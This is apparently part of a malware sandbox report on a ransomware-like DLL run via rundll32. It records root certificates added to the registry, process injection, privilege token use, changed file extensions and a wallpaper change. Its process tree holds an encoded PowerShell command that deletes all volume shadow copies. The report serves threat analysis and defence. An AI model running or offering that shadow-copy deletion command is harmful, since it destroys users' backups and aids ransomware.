426464a5081b2debe78b7fc6715e1c957841e0f63d6e962bad65f552eea5cc62808042539b80e2ba9f24c971c073f0d52f5edef2f820f0203010001a3423040301d0603551d0e041604145379bf5aaa2b4acf5480e1d89bc09df2b20366cb300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff300d06092a864886f70d01010c050003820201005cd47c0dcff7017d4199650c73c5529fcbf8cf99067f1bda43159f9e0255579614f1523c27879428ed1f3a0137a276fc5350c0849bc66b4eba8c214fa28e556291f36915d8bc88e3c4aa0bfdefa8e94b552a06206d55782919ee5f305c4b241155ff249a6e5e2a2bee0b4d9f7ff70138941495430709fb60a9ee1cab128ca09a5ea7986a596d8b3f08fbc8d145af18156490120f73282ec5e2244efc58ecf0f445fe22b3eb2f8ed2d9456105c1976fa876728f8b8c36afbf0d05ce718de6a66f1f6ca67162c5d8d083720cf16711890c9c134c7234dfbcd571dfaa71dde1b96c8c3c125d65dabd5712b6436bffe5de4d661151cf99aeec17b6e871918cde49fedd3571a21527941ccf61e326bb6fa36725215de6dd1d0b2e681b3b82afec836785d4985174b1b9998089ff7f78195c794a602e9240ae4c372a2cc9c762c80e5df7365bcae0252501b4dd1a079c77003fd0dcd5ec3dd4fabb3fcc85d66f7fa92ddfb902f7f5979ab535dac367b0874aa9289e238eff5c276be1b04ff307ee002ed45987cb524195eaf447d7ee6441557c8d590295dd629dc2b9ee5a287484a59bb790c70c07dff589367432d628c1b0b00be09c4cc31cd6fce369b54746812fa282abd3634470c48dff2d33baad8f7bb57088ae3e19cf4028d8fcc890bb5d9922f552e658c51f883143ee881dd7c68e3c436a1da718de7d3d16f162f9ca90a8fd rundll32.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\SystemCertificates\CA\Certificates\33E4E80807204C2B6182A3A14B591ACD25B5F0DB rundll32.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B51C067CEE2B0C3DF855AB2D92F4FE39D4E70F0E\Blob = 5c000000010000000400000000080000040000000100000010000000d63981c6527e9669fcfcca66ed05f296030000000100000014000000b51c067cee2b0c3df855ab2d92f4fe39d4e70f0e1d000000010000001000000054e2cd85ba79cda018fed9e6a863aa461400000001000000140000007c0c321fa7d9307fc47d68a362a8a1ceab075b276200000001000000200000002ce1cb0bf9d2f9e102993fbe215152c3b2dd0cabde1c68e5319b839154dbb7f553000000010000002500000030233021060b6086480186fd6e0107170330123010060a2b0601040182373c0101030200c0090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b060105050703080b000000010000005400000053007400610072006600690065006c006400200052006f006f007400200043006500720074006900660069006300610074006500200041007500740068006f0072006900740079002000132020004700320000000f000000010000002000000071b437f087f3700ffd4e2fa46f42b6b810d7bf19adfedf951c023edd65b50b0519000000010000001000000060e2dc65295f1062e558f3fef235ed3c2000000001000000e1030000308203dd308202c5a003020102020100300d06092a864886f70d01010b050030818f310b30090603550406130255533110300e060355040813074172697a6f6e61311330110603550407130a53636f74747364616c6531253023060355040a131c537461726669656c6420546563686e6f6c6f676965732c20496e632e3132303006035504031329537461726669656c6420526f6f7420436572746966696361746520417574686f72697479202d204732301e170d3039303930313030303030305a170d3337313233313233353935395a30818f310b30090603550406130255533110300e060355040813074172697a6f6e61311330110603550407130a53636f74747364616c6531253023060355040a131c537461726669656c6420546563686e6f6c6f676965732c20496e632e3132303006035504031329537461726669656c6420526f6f7420436572746966696361746520417574686f72697479202d20473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bdedc103fcf68ffc02b16f5b9f48d99d79e2a2b703615618c347b6d7ca3d352e8943f7a1699bde8a1afd13209cb44977322956fdb9ec8cdd22fa72dc276197eef65a84ec6e19b9892cdc845bd574fb6b5fc589a51052894655f4b8751ce67fe454ae4bf85572570219f8177159eb1e280774c59d48be6cb4f4a4b0f364377992c0ec465e7fe16d534c62afcd1f0b63bb3a9dfbfc7900986174cf26824063f3b2726a190d99cad40e75cc37fb8b89c159f1627f5fb35f6530f8a7b74d765a1e765e34c0e89656998ab3f07fa4cdbddc32317c91cfe05f11f86baa495cd19994d1a2e3635b0976b55662e14b741d96d426d4080459d0980e0ee6defcc3ec1f90f10203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e041604147c0c321fa7d9307fc47d68a362a8a1ceab075b27300d06092a864886f70d01010b050003820101001159fa254f036f94993b9a1f828539d47605945ee128936d625d09c2a0a8d4b07538f1346a9de49f8a862651e62cd1c62d6e95204a9201ecb88a677b31e2672e8c9503262e439d4a31f60eb50cbbb7e2377f22ba00a30e7b52fb6bbb3bc4d379514ecd90f4670719c83c467a0d017dc558e76de68530179a24c410e004f7e0f27fd4aa0aff421d37ed94e5645912207738d3323e3881759673fa688fb1cbce1fc5ecfa9c7ecf7eb1f1072db6fcbfcaa4bfd097054abcea18280290bd5478092171d3d17d1dd916b0a9613dd00a0022fcc77bcb0964450b3b4081f77d7c32f598ca588e7d2aee90597364f936745e25a1f566052e7f3915a92afb508b8e8569f4 rundll32.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B51C067CEE2B0C3DF855AB2D92F4FE39D4E70F0E rundll32.exe -
Suspicious behavior: EnumeratesProcesses 5 IoCs
Processes:
rundll32.exepowershell.exepid process 3484 rundll32.exe 3484 rundll32.exe 2932 powershell.exe 2932 powershell.exe 2932 powershell.exe -
Suspicious use of AdjustPrivilegeToken 5 IoCs
Processes:
rundll32.exepowershell.exevssvc.exedescription pid process Token: SeDebugPrivilege 3484 rundll32.exe Token: SeDebugPrivilege 2932 powershell.exe Token: SeBackupPrivilege 1924 vssvc.exe Token: SeRestorePrivilege 1924 vssvc.exe Token: SeAuditPrivilege 1924 vssvc.exe -
Suspicious use of WriteProcessMemory 5 IoCs
Processes:
rundll32.exerundll32.exedescription pid process target process PID 3636 wrote to memory of 3484 3636 rundll32.exe rundll32.exe PID 3636 wrote to memory of 3484 3636 rundll32.exe rundll32.exe PID 3636 wrote to memory of 3484 3636 rundll32.exe rundll32.exe PID 3484 wrote to memory of 2932 3484 rundll32.exe powershell.exe PID 3484 wrote to memory of 2932 3484 rundll32.exe powershell.exe
Processes
-
C:\Windows\system32\rundll32.exerundll32.exe C:\Users\Admin\AppData\Local\Temp\file.dll,#11⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe C:\Users\Admin\AppData\Local\Temp\file.dll,#12⤵
- Blacklisted process makes network request
- Modifies extensions of user files
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Modifies service
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
memory/2932-1-0x0000000000000000-mapping.dmp
-
memory/2932-2-0x00007FFE03B60000-0x00007FFE0454C000-memory.dmpFilesize
9.9MB
-
memory/2932-3-0x000001AD60D80000-0x000001AD60D81000-memory.dmpFilesize
4KB
-
memory/2932-4-0x000001AD7A350000-0x000001AD7A351000-memory.dmpFilesize
4KB
-
memory/3484-0-0x0000000000000000-mapping.dmp